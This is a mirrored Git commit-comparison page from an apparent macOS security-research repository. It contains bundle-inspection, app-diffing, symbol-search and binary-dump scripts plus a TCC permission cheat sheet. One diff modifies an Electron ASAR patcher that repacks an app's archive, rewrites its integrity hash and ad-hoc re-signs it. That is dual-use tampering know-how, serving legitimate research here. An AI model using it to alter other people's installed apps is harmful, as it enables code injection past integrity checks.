mirror of
https://github.com/Karmaz95/Snake_Apple.git
synced 2026-04-05 14:22:03 +02:00
Compare commits
115 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e3442de04c | ||
|
|
54bcddbce5 | ||
|
|
190d6542d3 | ||
|
|
d4cbd1a64c | ||
|
|
ff55402c23 | ||
|
|
2b45f44b06 | ||
|
|
0c0b9ad5b9 | ||
|
|
43e98834cc | ||
|
|
46e647ad47 | ||
|
|
4d9bdde03a | ||
|
|
b3fbaacee6 | ||
|
|
05e95dcf39 | ||
|
|
d08cd41f2d | ||
|
|
ec2cfe8425 | ||
|
|
8d6a8b4c6b | ||
|
|
5a906283f3 | ||
|
|
cac76ae2aa | ||
|
|
1fda24819c | ||
|
|
1ae188683a | ||
|
|
de427b1cba | ||
|
|
deb19c3858 | ||
|
|
32ea1c4eda | ||
|
|
e6f94ef223 | ||
|
|
3473985e92 | ||
|
|
2976102984 | ||
|
|
4345a0412e | ||
|
|
29a3124b7e | ||
|
|
38cc7865bc | ||
|
|
96a0c023f0 | ||
|
|
713178663d | ||
|
|
26efd8b1b1 | ||
|
|
d5482eb959 | ||
|
|
6553126bfc | ||
|
|
58f97f589c | ||
|
|
e1cdd27c28 | ||
|
|
30d7d0e9b4 | ||
|
|
4b827afe20 | ||
|
|
2ffc0f982e | ||
|
|
2cdd37a9ff | ||
|
|
9872ec6fc4 | ||
|
|
06d77e7c09 | ||
|
|
0fd3c811db | ||
|
|
1962ab10ef | ||
|
|
3f1f2e6228 | ||
|
|
1a00625b0f | ||
|
|
8eb7589493 | ||
|
|
2e208d662c | ||
|
|
014ce2b5d5 | ||
|
|
18dfa39f42 | ||
|
|
b0439e7220 | ||
|
|
95752eefc7 | ||
|
|
0f8df62d82 | ||
|
|
bcc9f34241 | ||
|
|
ac5c9c9799 | ||
|
|
85fc5ffea3 | ||
|
|
1bca0fd124 | ||
|
|
78e70edcbb | ||
|
|
7c5d445980 | ||
|
|
fccc122ba5 | ||
|
|
0ef9bd433e | ||
|
|
58b2a53831 | ||
|
|
2d0f12c15a | ||
|
|
2fb33d88be | ||
|
|
dab7384bc8 | ||
|
|
deb421a620 | ||
|
|
2e4fe54a6f | ||
|
|
6915ce42a4 | ||
|
|
603e984ed4 | ||
|
|
06db486a74 | ||
|
|
6223fc3df2 | ||
|
|
116c826b9c | ||
|
|
a0e9a1500f | ||
|
|
532c6cf56f | ||
|
|
514b18d64f | ||
|
|
24cd4ccb58 | ||
|
|
a49923016b | ||
|
|
0a576da592 | ||
|
|
7a0de01576 | ||
|
|
2107b01887 | ||
|
|
684d03c491 | ||
|
|
83db8c656d | ||
|
|
3f1b032bff | ||
|
|
b920d49964 | ||
|
|
917088a2ec | ||
|
|
9f195f010b | ||
|
|
1e0787cef8 | ||
|
|
5f2f010eb7 | ||
|
|
2b125144ea | ||
|
|
fe6dcb3b79 | ||
|
|
975b88ffcc | ||
|
|
3f3d5355b3 | ||
|
|
043c2714f1 | ||
|
|
b735706891 | ||
|
|
5e6daa4a92 | ||
|
|
9a58e93e3c | ||
|
|
63971e56bc | ||
|
|
25dd6a7ef2 | ||
|
|
0b585a6e33 | ||
|
|
94ac0a9eda | ||
|
|
dcd13d7e7a | ||
|
|
4e92e0de3f | ||
|
|
2249085af6 | ||
|
|
7697a32562 | ||
|
|
8a218fe824 | ||
|
|
cac8faf611 | ||
|
|
6fa59caab5 | ||
|
|
42cf84599a | ||
|
|
23280fb8c9 | ||
|
|
448432df9d | ||
|
|
d292244cbe | ||
|
|
6b34b6ea10 | ||
|
|
5099b43a34 | ||
|
|
1bc13f6fbe | ||
|
|
c956294ec7 | ||
|
|
9c9d5d30f0 |
BIN
App Bundle Extension/custom/XPC/final_secure_test_xpc.zip
Normal file
BIN
App Bundle Extension/custom/XPC/final_secure_test_xpc.zip
Normal file
Binary file not shown.
BIN
App Bundle Extension/custom/XPC/secure_test_xpc.zip
Normal file
BIN
App Bundle Extension/custom/XPC/secure_test_xpc.zip
Normal file
Binary file not shown.
BIN
App Bundle Extension/custom/XPC/text_terminal_xpc.zip
Normal file
BIN
App Bundle Extension/custom/XPC/text_terminal_xpc.zip
Normal file
Binary file not shown.
99
App Bundle Extension/custom/check_bundle_exe
Executable file
99
App Bundle Extension/custom/check_bundle_exe
Executable file
@@ -0,0 +1,99 @@
|
||||
#!/bin/bash
|
||||
|
||||
# CHECK BUNDLE EXECUTABLE
|
||||
# A tool for extracting executable names from macOS app bundles Info.plist
|
||||
|
||||
get_executable_name() {
|
||||
local plist="$1"
|
||||
local value
|
||||
|
||||
value=$(/usr/libexec/PlistBuddy -c "Print :CFBundleExecutable" "$plist" 2>/dev/null)
|
||||
if [ $? -eq 0 ] && [ -n "$value" ]; then
|
||||
echo "$value"
|
||||
return 0
|
||||
fi
|
||||
|
||||
local app_dir
|
||||
app_dir=$(dirname "$(dirname "$plist")")
|
||||
local app_name
|
||||
app_name=$(basename "$app_dir" .app)
|
||||
if [ -n "$app_name" ] && [ "$app_name" != "Contents" ]; then
|
||||
echo "$app_name"
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "UNKNOWN"
|
||||
return 1
|
||||
}
|
||||
|
||||
process_app() {
|
||||
local app_path="$1"
|
||||
local exec_name="UNKNOWN"
|
||||
local plist
|
||||
local found=false
|
||||
|
||||
app_path="${app_path%/}"
|
||||
|
||||
if [[ "$app_path" =~ /Wrapper/.*\.app$ ]]; then
|
||||
return
|
||||
fi
|
||||
|
||||
if [ -d "$app_path" ]; then
|
||||
plist="$app_path/Contents/Info.plist"
|
||||
if [ -f "$plist" ]; then
|
||||
exec_name=$(get_executable_name "$plist")
|
||||
if [ "$exec_name" != "UNKNOWN" ]; then
|
||||
found=true
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$found" = false ]; then
|
||||
local wrapped_bundle="$app_path/WrappedBundle"
|
||||
if [ -L "$wrapped_bundle" ] && [ -d "$wrapped_bundle" ]; then
|
||||
plist="$wrapped_bundle/Contents/Info.plist"
|
||||
if [ -f "$plist" ]; then
|
||||
exec_name=$(get_executable_name "$plist")
|
||||
if [ "$exec_name" != "UNKNOWN" ]; then
|
||||
found=true
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$found" = false ]; then
|
||||
while IFS= read -r nested_plist; do
|
||||
exec_name=$(get_executable_name "$nested_plist")
|
||||
if [ "$exec_name" != "UNKNOWN" ]; then
|
||||
found=true
|
||||
break
|
||||
fi
|
||||
done < <(find "$app_path" -name "Info.plist" -path "*/Wrapper/*.app/Contents/Info.plist" 2>/dev/null)
|
||||
fi
|
||||
|
||||
if [ "$found" = false ]; then
|
||||
while IFS= read -r nested_plist; do
|
||||
exec_name=$(get_executable_name "$nested_plist")
|
||||
if [ "$exec_name" != "UNKNOWN" ]; then
|
||||
found=true
|
||||
break
|
||||
fi
|
||||
done < <(find "$app_path" -name "Info.plist" -maxdepth 3 2>/dev/null | grep -E "($app_path/Info.plist|$app_path/Wrapper/.*Info.plist)")
|
||||
fi
|
||||
|
||||
echo "$exec_name"
|
||||
else
|
||||
echo "UNKNOWN" >&2
|
||||
fi
|
||||
}
|
||||
|
||||
if [ "$#" -ge 1 ]; then
|
||||
for app in "$@"; do
|
||||
process_app "$app"
|
||||
done
|
||||
else
|
||||
while IFS= read -r line; do
|
||||
process_app "$line"
|
||||
done
|
||||
fi
|
||||
|
||||
|
||||
149
App Bundle Extension/custom/diff_apss.sh
Normal file
149
App Bundle Extension/custom/diff_apss.sh
Normal file
@@ -0,0 +1,149 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# Check if the correct number of arguments provided
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: $0 OLD_APP NEW_APP"
|
||||
echo "Example: $0 OLD/Fantastical.app NEW/Fantastical.app"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
OLD_APP="$1"
|
||||
NEW_APP="$2"
|
||||
|
||||
# Check if directories exist
|
||||
if [ ! -d "$OLD_APP" ]; then
|
||||
echo "Error: Old app directory '$OLD_APP' does not exist"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -d "$NEW_APP" ]; then
|
||||
echo "Error: New app directory '$NEW_APP' does not exist"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=========================================="
|
||||
echo "APP PATCHING ANALYSIS"
|
||||
echo "=========================================="
|
||||
echo "Old App: $OLD_APP"
|
||||
echo "New App: $NEW_APP"
|
||||
echo "=========================================="
|
||||
|
||||
# Run diff with -r for recursive and -q for brief output
|
||||
DIFF_OUTPUT=$(diff -rq "$OLD_APP" "$NEW_APP" 2>/dev/null)
|
||||
|
||||
# Process new files
|
||||
echo -e "\n🆕 NEW FILES:"
|
||||
echo "----------------------------------------"
|
||||
NEW_LIST=$(echo "$DIFF_OUTPUT" | grep "Only in $NEW_APP" | sed "s|Only in $NEW_APP/||" | sed 's|: | → |')
|
||||
if [ -n "$NEW_LIST" ]; then
|
||||
echo "$NEW_LIST" | while read -r line; do
|
||||
echo " + $line"
|
||||
done
|
||||
else
|
||||
echo " (No new files)"
|
||||
fi
|
||||
|
||||
# Process deleted files
|
||||
echo -e "\n❌ DELETED FILES:"
|
||||
echo "----------------------------------------"
|
||||
DELETED_LIST=$(echo "$DIFF_OUTPUT" | grep "Only in $OLD_APP" | sed "s|Only in $OLD_APP/||" | sed 's|: | → |')
|
||||
if [ -n "$DELETED_LIST" ]; then
|
||||
echo "$DELETED_LIST" | while read -r line; do
|
||||
echo " - $line"
|
||||
done
|
||||
else
|
||||
echo " (No deleted files)"
|
||||
fi
|
||||
|
||||
# Process modified files
|
||||
echo -e "\n📝 MODIFIED FILES:"
|
||||
echo "----------------------------------------"
|
||||
MODIFIED_LIST=$(echo "$DIFF_OUTPUT" | grep "^Files.*differ$" | sed "s|Files $OLD_APP/||" | sed "s| and $NEW_APP/.*differ$||")
|
||||
if [ -n "$MODIFIED_LIST" ]; then
|
||||
echo "$MODIFIED_LIST" | while read -r line; do
|
||||
echo " ~ $line"
|
||||
done
|
||||
else
|
||||
echo " (No modified files)"
|
||||
fi
|
||||
|
||||
# Find and report symlink changes
|
||||
echo -e "\n🔗 SYMLINK CHANGES:"
|
||||
echo "----------------------------------------"
|
||||
SYMLINK_CHANGES=""
|
||||
|
||||
# Find all symlinks in OLD_APP
|
||||
while IFS= read -r old_symlink; do
|
||||
rel_path="${old_symlink#$OLD_APP/}"
|
||||
new_symlink="$NEW_APP/$rel_path"
|
||||
|
||||
if [ ! -L "$new_symlink" ]; then
|
||||
# Symlink was removed or converted to regular file
|
||||
SYMLINK_CHANGES="${SYMLINK_CHANGES} - Removed: $rel_path\n"
|
||||
else
|
||||
# Check if symlink target changed
|
||||
old_target=$(readlink "$old_symlink")
|
||||
new_target=$(readlink "$new_symlink")
|
||||
if [ "$old_target" != "$new_target" ]; then
|
||||
SYMLINK_CHANGES="${SYMLINK_CHANGES} ~ Modified: $rel_path\n"
|
||||
SYMLINK_CHANGES="${SYMLINK_CHANGES} Old target: $old_target\n"
|
||||
SYMLINK_CHANGES="${SYMLINK_CHANGES} New target: $new_target\n"
|
||||
fi
|
||||
fi
|
||||
done < <(find "$OLD_APP" -type l)
|
||||
|
||||
# Find new symlinks in NEW_APP
|
||||
while IFS= read -r new_symlink; do
|
||||
rel_path="${new_symlink#$NEW_APP/}"
|
||||
old_symlink="$OLD_APP/$rel_path"
|
||||
|
||||
if [ ! -L "$old_symlink" ]; then
|
||||
# New symlink added
|
||||
new_target=$(readlink "$new_symlink")
|
||||
SYMLINK_CHANGES="${SYMLINK_CHANGES} + Added: $rel_path → $new_target\n"
|
||||
fi
|
||||
done < <(find "$NEW_APP" -type l)
|
||||
|
||||
if [ -n "$SYMLINK_CHANGES" ]; then
|
||||
echo -e "$SYMLINK_CHANGES"
|
||||
else
|
||||
echo " (No symlink changes)"
|
||||
fi
|
||||
|
||||
# Count totals
|
||||
NEW_COUNT=$(echo "$DIFF_OUTPUT" | grep -c "Only in $NEW_APP" 2>/dev/null || echo "0")
|
||||
DELETED_COUNT=$(echo "$DIFF_OUTPUT" | grep -c "Only in $OLD_APP" 2>/dev/null || echo "0")
|
||||
MODIFIED_COUNT=$(echo "$DIFF_OUTPUT" | grep -c "^Files.*differ$" 2>/dev/null || echo "0")
|
||||
|
||||
# Ensure counts are single integers
|
||||
NEW_COUNT=$(echo "$NEW_COUNT" | head -n1 | tr -d '\n')
|
||||
DELETED_COUNT=$(echo "$DELETED_COUNT" | head -n1 | tr -d '\n')
|
||||
MODIFIED_COUNT=$(echo "$MODIFIED_COUNT" | head -n1 | tr -d '\n')
|
||||
|
||||
# Summary
|
||||
echo -e "\n📊 SUMMARY:"
|
||||
echo "=========================================="
|
||||
echo "New files: $NEW_COUNT"
|
||||
echo "Deleted files: $DELETED_COUNT"
|
||||
echo "Modified files: $MODIFIED_COUNT"
|
||||
echo "Total changes: $((NEW_COUNT + DELETED_COUNT + MODIFIED_COUNT))"
|
||||
echo "=========================================="
|
||||
|
||||
# Binary file detection
|
||||
BINARY_CHANGES=""
|
||||
while IFS= read -r file; do
|
||||
if [ -n "$file" ]; then
|
||||
full_path="$NEW_APP/$file"
|
||||
if [ -f "$full_path" ] && [ ! -L "$full_path" ]; then
|
||||
file_type=$(file -b "$full_path" 2>/dev/null)
|
||||
if echo "$file_type" | grep -qE "(executable|shared library)"; then
|
||||
BINARY_CHANGES="$BINARY_CHANGES$file\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done <<< "$MODIFIED_LIST"
|
||||
|
||||
if [ -n "$BINARY_CHANGES" ]; then
|
||||
echo "⚠️ Binary files modified:"
|
||||
echo -e "$BINARY_CHANGES" | sed 's/^/ /'
|
||||
fi
|
||||
@@ -34,7 +34,7 @@ class ASARPatcher:
|
||||
def extractASAR(self, app_path, output_path):
|
||||
'''Extracts {input_path} asar file to {output_path} directory.'''
|
||||
input_path = os.path.join(app_path, "Contents/Resources/app.asar")
|
||||
status_code = os.system(f"npx asar extract {input_path} {output_path}")
|
||||
status_code = os.system(f"npx @electron/asar extract '{input_path}' '{output_path}'")
|
||||
|
||||
if status_code == 0:
|
||||
print(f"Extracted {input_path} to {output_path} directory.")
|
||||
@@ -44,8 +44,8 @@ class ASARPatcher:
|
||||
|
||||
def dumpEntitlements(self, app_path):
|
||||
output_path='/tmp/extracted_entitlements.xml'
|
||||
status_code = os.system(f"codesign -d --entitlements :- {app_path} > {output_path}")
|
||||
|
||||
status_code = os.system(f"codesign -d --entitlements :- '{app_path}' > '{output_path}'")
|
||||
|
||||
if status_code == 0:
|
||||
print(f"Dumped entitlements from {app_path} to {output_path}")
|
||||
|
||||
@@ -53,7 +53,7 @@ class ASARPatcher:
|
||||
print(f"Failed to dump entitlements from {app_path} to {output_path}. Error code: {status_code}")
|
||||
|
||||
def checkIfElectronAsarIntegrityIsUsed(self, app_path):
|
||||
status_code = os.system(f"plutil -p {app_path}/Contents/Info.plist | grep -q ElectronAsarIntegrity")
|
||||
status_code = os.system(f"plutil -p '{app_path}/Contents/Info.plist' | grep -q ElectronAsarIntegrity")
|
||||
if status_code == 0:
|
||||
return True
|
||||
else:
|
||||
@@ -62,12 +62,12 @@ class ASARPatcher:
|
||||
def packASAR(self, input_path, app_path):
|
||||
'''Packs {input_path} directory to {output_path} asar file.
|
||||
Check if ElectronAsarIntegrity is used in Info.plist, and if so, calculate hash and replace it.
|
||||
Codesign the
|
||||
Codesign the
|
||||
'''
|
||||
output_path = os.path.join(app_path, "Contents/Resources/app.asar")
|
||||
info_plist_path = os.path.join(app_path, "Contents/Info.plist")
|
||||
|
||||
status_code = os.system(f"npx asar pack {input_path} {output_path}")
|
||||
status_code = os.system(f"npx @electron/asar pack '{input_path}' '{output_path}'")
|
||||
if status_code == 0:
|
||||
print(f"Packed {input_path} into {output_path}")
|
||||
|
||||
@@ -77,14 +77,14 @@ class ASARPatcher:
|
||||
new_hash = asar_calculator.calcASARHeaderHash()
|
||||
print(f"New hash: {new_hash}")
|
||||
print("Replacing ElectronAsarIntegrity in Info.plist")
|
||||
os.system(f"/usr/libexec/PlistBuddy -c 'Set :ElectronAsarIntegrity:Resources/app.asar:hash {new_hash}' {info_plist_path}")
|
||||
os.system(f"/usr/libexec/PlistBuddy -c 'Set :ElectronAsarIntegrity:Resources/app.asar:hash {new_hash}' '{info_plist_path}'")
|
||||
|
||||
print("Resigning app")
|
||||
self.dumpEntitlements(app_path)
|
||||
|
||||
os.system(f"codesign --force --entitlements /tmp/extracted_entitlements.xml --sign - {app_path}")
|
||||
os.system(f"codesign --force --entitlements /tmp/extracted_entitlements.xml --sign - '{app_path}'")
|
||||
os.remove('/tmp/extracted_entitlements.xml')
|
||||
|
||||
|
||||
print("Done!")
|
||||
|
||||
def main():
|
||||
@@ -113,4 +113,4 @@ def main():
|
||||
print("Invalid command. Use 'extract' or 'pack'.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
main()
|
||||
|
||||
@@ -4,6 +4,7 @@ import sys
|
||||
import argparse
|
||||
import struct
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from threading import Lock
|
||||
import stat
|
||||
|
||||
class MachOFileFinder:
|
||||
@@ -37,6 +38,7 @@ class MachOFileFinder:
|
||||
self.directory_path = directory_path
|
||||
self.recursive = recursive
|
||||
self.only_arm64 = only_arm64
|
||||
self.print_lock = Lock()
|
||||
|
||||
def isRegularFile(self, file_path):
|
||||
"""Check if the specified file is a regular file."""
|
||||
@@ -178,7 +180,8 @@ class MachOFileFinder:
|
||||
# Check if the file is a Mach-O binary or FAT binary
|
||||
file_type = self.getMachoInfo(file_path)
|
||||
if file_type:
|
||||
print(f"{file_type}:{file_path}")
|
||||
with self.print_lock:
|
||||
print(f"{file_type}:{file_path}")
|
||||
|
||||
def processFiles(self):
|
||||
"""Walk through the directory and process files using threading for faster execution."""
|
||||
@@ -202,4 +205,4 @@ if __name__ == "__main__":
|
||||
sys.exit(1)
|
||||
|
||||
finder = MachOFileFinder(directory_path, recursive=args.recursive, only_arm64=args.only_arm64)
|
||||
finder.processFiles()
|
||||
finder.processFiles()
|
||||
61
I. Mach-O/python/find_symbol.py
Executable file
61
I. Mach-O/python/find_symbol.py
Executable file
@@ -0,0 +1,61 @@
|
||||
#!/usr/bin/env python3
|
||||
'''
|
||||
Example usage - find _sandbox_check function across extracted libraries from Dyld Shared Cache:
|
||||
$ python3 find_symbol.py . _sandbox_check
|
||||
./usr/lib/libspindump.dylib
|
||||
U _sandbox_check
|
||||
----
|
||||
./usr/lib/dyld
|
||||
0000000180141a6c T _sandbox_check
|
||||
0000000180141b4c t _sandbox_check_common
|
||||
----
|
||||
./usr/lib/libnetworkextension.dylib
|
||||
U _sandbox_check
|
||||
'''
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
def find_symbol(target_dir, symbol):
|
||||
if not os.path.exists(target_dir):
|
||||
print(f"Error: Directory '{target_dir}' does not exist.")
|
||||
sys.exit(1)
|
||||
|
||||
# Walk recursively through all files
|
||||
for root, _, files in os.walk(target_dir):
|
||||
for file in files:
|
||||
file_path = os.path.join(root, file)
|
||||
|
||||
# Construct the command using nm instead of disarm
|
||||
# nm FILE_PATH | grep SYMBOL
|
||||
cmd = f"nm \"{file_path}\" 2>/dev/null | grep \"{symbol}\""
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
shell=True,
|
||||
capture_output=True,
|
||||
text=True
|
||||
)
|
||||
|
||||
if result.stdout:
|
||||
print(file_path)
|
||||
print(result.stdout.rstrip())
|
||||
print("----")
|
||||
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 3:
|
||||
print(f"Usage: {sys.argv[0]} <directory_path> <symbol>")
|
||||
sys.exit(1)
|
||||
|
||||
target_dir = sys.argv[1]
|
||||
symbol = sys.argv[2]
|
||||
|
||||
find_symbol(target_dir, symbol)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
84
I. Mach-O/python/r2_dd.py
Executable file
84
I. Mach-O/python/r2_dd.py
Executable file
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
import subprocess
|
||||
import os
|
||||
|
||||
def print_usage():
|
||||
print("Usage: r2_dd BINARY_PATH START_ADDR END_ADDR OUT_FILE")
|
||||
print("Example: r2_dd ./kernelcache 0xFFFFFF80002A0000 0xFFFFFF80002A0500 ./dump.bin")
|
||||
print("\nNote: Addresses can be Hex (0x...) or Decimal.")
|
||||
|
||||
def parse_addr(addr_str):
|
||||
"""Parses hex or decimal string to integer."""
|
||||
try:
|
||||
if addr_str.lower().startswith("0x"):
|
||||
return int(addr_str, 16)
|
||||
else:
|
||||
return int(addr_str)
|
||||
except ValueError:
|
||||
print(f"Error: Invalid address format '{addr_str}'")
|
||||
sys.exit(1)
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 5:
|
||||
print_usage()
|
||||
sys.exit(1)
|
||||
|
||||
bin_path = sys.argv[1]
|
||||
start_str = sys.argv[2]
|
||||
end_str = sys.argv[3]
|
||||
out_file = sys.argv[4]
|
||||
|
||||
if not os.path.exists(bin_path):
|
||||
print(f"Error: Binary file not found at '{bin_path}'")
|
||||
sys.exit(1)
|
||||
|
||||
start_ea = parse_addr(start_str)
|
||||
end_ea = parse_addr(end_str)
|
||||
|
||||
if end_ea <= start_ea:
|
||||
print("Error: END_ADDR must be greater than START_ADDR")
|
||||
sys.exit(1)
|
||||
|
||||
size = end_ea - start_ea
|
||||
|
||||
print(f"--- Extraction Details ---")
|
||||
print(f"Binary: {bin_path}")
|
||||
print(f"Start : {hex(start_ea)}")
|
||||
print(f"End : {hex(end_ea)}")
|
||||
print(f"Size : {size} bytes")
|
||||
print(f"--------------------------")
|
||||
|
||||
# We use radare2 (r2) because it automatically maps Virtual Addresses
|
||||
# to file offsets for Mach-O/ELF files.
|
||||
# -q : quiet mode
|
||||
# -N : no user settings (clean environment)
|
||||
# -c : execute command
|
||||
# s : seek to address
|
||||
# pr : print raw bytes
|
||||
|
||||
r2_cmd = ["r2", "-q", "-N", "-c", f"s {start_str}; pr {size}", bin_path]
|
||||
|
||||
try:
|
||||
print("Running r2...")
|
||||
with open(out_file, "wb") as f:
|
||||
# We pipe stderr to DEVNULL to avoid r2 warnings cluttering output
|
||||
result = subprocess.run(r2_cmd, stdout=f, stderr=subprocess.DEVNULL)
|
||||
|
||||
if result.returncode == 0:
|
||||
print(f"Success! Saved to: {out_file}")
|
||||
# Verify file size
|
||||
if os.path.exists(out_file):
|
||||
dump_size = os.path.getsize(out_file)
|
||||
if dump_size == size:
|
||||
print("Verification: File size matches requested size.")
|
||||
else:
|
||||
print(f"Warning: Dumped size ({dump_size}) differs from expected ({size}).")
|
||||
else:
|
||||
print("Error: r2 command failed. Do you have radare2 installed?")
|
||||
|
||||
except FileNotFoundError:
|
||||
print("Error: 'r2' command not found. Please install radare2 (brew install radare2).")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
5
II. Code Signing/custom/check_cs.sh
Executable file
5
II. Code Signing/custom/check_cs.sh
Executable file
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Usage: check_cs PATH
|
||||
|
||||
codesign -dvvvv --entitlements - "$1" 2>&1
|
||||
150
IX. TCC/mac/TCC CheatSheet.md
Normal file
150
IX. TCC/mac/TCC CheatSheet.md
Normal file
@@ -0,0 +1,150 @@
|
||||
| TCC Service | Combined Description |
|
||||
| :-- | :-- |
|
||||
| kTCCService | Serves as a general identifier for TCC services. |
|
||||
| kTCCServiceAccessibility | Enables apps to control the computer, often for assistive tools like screen readers or automation scripts. Apps may prompt: "Allows client to control computer." |
|
||||
| kTCCServiceAddressBook | Permits access to contacts; prompts might say: "Client would like to access your contacts." |
|
||||
| kTCCServiceAll | Grants broad access to all TCC-protected resources. |
|
||||
| kTCCServiceAppleEvents | Allows sending Apple Events for app control; e.g., "Client wants access to control indirect_object_identifier, providing access to its documents and actions." |
|
||||
| kTCCServiceAudioCapture | Enables audio input capture, useful for recording apps. |
|
||||
| kTCCServiceBluetoothAlways | Provides ongoing Bluetooth access; prompts: "Client would like to use Bluetooth." |
|
||||
| kTCCServiceBluetoothPeripheral | Facilitates connections to Bluetooth devices. |
|
||||
| kTCCServiceBluetoothWhileInUse | Limits Bluetooth access to active app use. |
|
||||
| kTCCServiceCalendar | Allows calendar access; e.g., "Client would like to access your calendar." |
|
||||
| kTCCServiceCalls | Handles call-related functionalities. |
|
||||
| kTCCServiceCamera | Grants camera access; common prompt: "Client would like to access the camera." |
|
||||
| kTCCServiceContactlessAccess | Supports features like NFC or contactless interactions. |
|
||||
| kTCCServiceContactsFull | Provides complete contacts access; e.g., "Client would like to access all of your contacts information." |
|
||||
| kTCCServiceContactsLimited | Offers restricted contacts access; e.g., "Client would like to access your contacts basic information." |
|
||||
| kTCCServiceCrashDetection | Enables crash detection capabilities. |
|
||||
| kTCCServiceDeveloperTool | Allows running non-secure software locally; e.g., "Allows client to run software that does not meet the system’s security policy." |
|
||||
| kTCCServiceEndpointSecurityClient | Provides endpoint security features. |
|
||||
| kTCCServiceExposureNotification | Manages exposure alerts, such as for health notifications. |
|
||||
| kTCCServiceExposureNotificationRegion | Handles region-based exposure notifications. |
|
||||
| kTCCServiceFaceID | Permits Face ID usage. |
|
||||
| kTCCServiceFacebook | Integrates with Facebook features. |
|
||||
| kTCCServiceFallDetection | Supports fall detection sensors. |
|
||||
| kTCCServiceFileProviderDomain | Allows access to managed file domains; e.g., "Client wants to access files managed by indirect_object_identifier." |
|
||||
| kTCCServiceFileProviderPresence | Tracks file usage in providers; e.g., "Do you want to allow client to see when you are using files managed by it?" |
|
||||
| kTCCServiceFinancialData | Enables access to financial information. |
|
||||
| kTCCServiceFocusStatus | Shares Focus mode status; e.g., "Allow client to share that you have notifications silenced when using Focus?" |
|
||||
| kTCCServiceFSKitBlockDevice | Manages block devices in FSKit. |
|
||||
| kTCCServiceGameCenterFriends | Connects to Game Center friends; e.g., "Allow client to connect you with your Game Center friends?" |
|
||||
| kTCCServiceKeyboardNetwork | Permits network access for keyboards. |
|
||||
| kTCCServiceLinkedIn | Integrates with LinkedIn. |
|
||||
| kTCCServiceListenEvent | Monitors keyboard or system events; e.g., "Allows client to monitor your keyboard." |
|
||||
| kTCCServiceLiverpool | Internal identifier for Liverpool-related features. |
|
||||
| kTCCServiceLocation | Accesses location data; e.g., "Client would like to use your current location." |
|
||||
| kTCCServiceMediaLibrary | Grants media library access; e.g., "Client would like to access Apple Music, your music and video activity, and your media library." |
|
||||
| kTCCServiceMicrophone | Allows microphone use; e.g., "Client would like to access the microphone." |
|
||||
| kTCCServiceMotion | Accesses motion and fitness data; e.g., "Client would like to access your Motion \& Fitness Activity." |
|
||||
| kTCCServiceMSO | Supports mobile service operator features. |
|
||||
| kTCCServiceNearbyInteraction | Enables nearby device interactions. |
|
||||
| kTCCServicePasteboard | Accesses clipboard data. |
|
||||
| kTCCServicePhotos | Permits photo library access; e.g., "Client would like to access your Photos." |
|
||||
| kTCCServicePhotosAdd | Allows adding to photos; e.g., "Client would like to add to your Photos." |
|
||||
| kTCCServicePostEvent | Enables sending keystrokes or events; e.g., "Allows client to send keystrokes." |
|
||||
| kTCCServicePrototype3Rights | Internal prototype rights (version 3); e.g., "Client would like authorization to Test Service Proto3Right." |
|
||||
| kTCCServicePrototype4Rights | Internal prototype rights (version 4); e.g., "Client would like authorization to Test Service Proto4Right." |
|
||||
| kTCCServiceReminders | Accesses reminders; e.g., "Client would like to access your reminders." |
|
||||
| kTCCServiceRemoteDesktop | Supports remote desktop access. |
|
||||
| kTCCServiceScreenCapture | Enables screen recording; e.g., "Client would like to capture the contents of the system display." |
|
||||
| kTCCServiceSecureElementAccess | Handles secure elements like NFC. |
|
||||
| kTCCServiceSensorKit* (various) | Provides access to sensor data (e.g., ambient light, pedometer, heart rate); specific variants target metrics like elevation, motion, or watch-based stats. |
|
||||
| kTCCServiceShareKit | Enables content sharing via ShareKit. |
|
||||
| kTCCServiceSinaWeibo | Integrates with Sina Weibo. |
|
||||
| kTCCServiceSiri | Allows Siri interactions; e.g., "Would you like to use client with Siri?" |
|
||||
| kTCCServiceSpeechRecognition | Enables speech recognition; e.g., "Client would like to access Speech Recognition." |
|
||||
| kTCCServiceSystemPolicyAllFiles | Grants full disk access; e.g., "Client would like Full Disk Access." |
|
||||
| kTCCServiceSystemPolicyAppBundles | Allows modifying app bundles; e.g., "Client would like to modify apps on your Mac." |
|
||||
| kTCCServiceSystemPolicyAppData | Accesses app-specific data. |
|
||||
| kTCCServiceSystemPolicyDesktopFolder | Accesses Desktop files; e.g., "Client would like to access files in your Desktop folder." |
|
||||
| kTCCServiceSystemPolicyDeveloperFiles | Accesses development files; e.g., "Client would like to access a file used in Software Development." |
|
||||
| kTCCServiceSystemPolicyDocumentsFolder | Accesses Documents; e.g., "Client would like to access files in your Documents folder." |
|
||||
| kTCCServiceSystemPolicyDownloadsFolder | Accesses Downloads; e.g., "Client would like to access files in your Downloads folder." |
|
||||
| kTCCServiceSystemPolicyNetworkVolumes | Accesses network volumes; e.g., "Client would like to access files on a network volume." |
|
||||
| kTCCServiceSystemPolicyRemovableVolumes | Accesses removable volumes; e.g., "Client would like to access files on a removable volume." |
|
||||
| kTCCServiceSystemPolicySysAdminFiles | Allows admin tasks; e.g., "Client would like to administer your computer." |
|
||||
| kTCCServiceTencentWeibo | Integrates with Tencent Weibo. |
|
||||
| kTCCServiceTwitter | Integrates with Twitter (now X). |
|
||||
| kTCCServiceUbiquity | Enables iCloud syncing. |
|
||||
